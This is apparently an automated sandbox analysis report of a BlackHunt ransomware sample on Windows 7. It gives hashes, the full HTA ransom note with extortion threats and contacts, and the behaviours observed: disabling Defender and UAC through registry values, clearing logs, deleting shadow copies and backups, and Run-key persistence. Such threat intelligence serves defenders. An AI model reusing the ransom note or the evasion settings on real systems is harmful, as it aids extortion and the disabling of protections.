a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 00:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Size

707KB
MD5

1724bd196cffa394e96d7cae59ba0389
SHA1

ffff02a0f0c7a1e06eb5579775184c0b28f23a92
SHA256

a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f
SHA512

34847168f2e0505451445c04e466b12dd526ef2fdd5671ded292d21342d45bf2429cf7275298453d84e4572a40381a54f90cb655ab734357b1e60d85e451034e
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1X83vnh:6uaTmkZJ+naie5OTamgEoKxLW+fh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> oFO84vlzboykeQJ8 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1484	fsutil.exe
344	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2168	wevtutil.exe
3260	wevtutil.exe
3036	wevtutil.exe
3420	wevtutil.exe
3956	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1936	bcdedit.exe
2620	bcdedit.exe
2536	bcdedit.exe
1888	bcdedit.exe

Renames multiple (2907) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2504	wbadmin.exe
2524	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4032	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\Z:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\B:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\H:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\J:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\N:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\R:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\P:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\S:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\G:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\X:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\V:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\I:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\A:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\K:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\L:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\M:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\T:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\Y:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\U:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\W:	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\#BlackHunt_Private.key	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_blu.css	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-lib-uihandler.xml	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-coredump.xml	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_Private.key	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_zh_4.4.0.v20140623020002.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Matamoros	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh88	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.inject_1.0.0.v20091030.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro_3.4.200.v20130326-1254.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_ja.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
